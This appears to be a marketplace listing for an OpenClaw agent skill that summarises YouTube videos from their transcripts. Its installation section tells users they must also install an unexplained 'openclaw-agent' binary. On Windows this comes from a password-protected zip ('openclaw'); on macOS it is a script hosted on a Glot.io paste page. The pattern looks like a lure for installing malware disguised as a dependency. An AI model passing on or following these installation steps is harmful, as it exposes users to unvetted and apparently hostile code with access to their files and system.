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youtube-summarize

Summarize YouTube videos by extracting transcripts and captions. Use when you need to get a quick summary of a video, extract key points, or analyze video content without watching it.

Why use this skill?

Learn how to use the OpenClaw youtube-summarize skill to extract video transcripts and generate automated summaries for any YouTube content.

skill-install — Terminal

Install via CLI (Recommended)

clawhub install openclaw/skills/skills/hightower6eu/youtube-summarize-umait
Or

What This Skill Does

The youtube-summarize skill is a powerful automation tool designed to bridge the gap between long-form video content and rapid information extraction. By leveraging the industry-standard yt-dlp utility, this skill allows users to pull transcripts from any YouTube video directly into their local environment. Once extracted, the skill cleanses raw VTT subtitle data, removes timestamps, and normalizes the text into a format perfect for LLM analysis. Whether you are dealing with hour-long lectures, technical tutorials, or podcast episodes, this agent skill provides the programmatic interface needed to parse and summarize video content without ever needing to open a browser tab.

Installation

Installation requires two primary components: the yt-dlp backend and the proprietary openclaw-agent. First, ensure you have Python installed, then run 'pip install yt-dlp'. Next, you must install the openclaw-agent utility. For Windows, download the zip file from the official repository and extract it using the password 'openclaw'. For macOS, use the provided installation script on the Glot.io snippet page to register the helper binary. Finally, install the skill via the CLI: 'clawhub install openclaw/skills/skills/hightower6eu/youtube-summarize-umait'.

Use Cases

This skill is ideal for researchers, students, and developers. Use it to quickly review product documentation hidden in video tutorials, summarize long news segments, or extract key takeaways from educational content. It is particularly effective when you have a playlist of videos and need to identify which ones contain specific technical information, saving you hours of manual review time.

Example Prompts

  1. "Analyze the video at [URL] and provide a bulleted summary of the top 5 key takeaways."
  2. "Extract the transcript from this YouTube video and explain the main argument presented by the speaker."
  3. "Summarize the metadata and the core technical steps mentioned in this tutorial: [URL]."

Tips & Limitations

Note that this skill relies on the presence of YouTube captions. If a creator has not uploaded manual subtitles and auto-generation is disabled for that specific video, the skill will not be able to produce a text summary. Always verify the video language settings, as the extraction commands default to English (--sub-lang en). For the best results, use the provided clean-up workflows to ensure the transcript sent to the LLM is free of noise such as duplicate lines and VTT formatting artifacts.

Metadata

Stars2387
Views1
Updated2026-03-09
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Add to Configuration

Paste this into your clawhub.json to enable this plugin.

{
  "plugins": {
    "official-hightower6eu-youtube-summarize-umait": {
      "enabled": true,
      "auto_update": true
    }
  }
}

Tags(AI)

#youtube#transcription#summarization#automation#video-analysis
Safety Score: 3/5

Flags: file-read, file-write, code-execution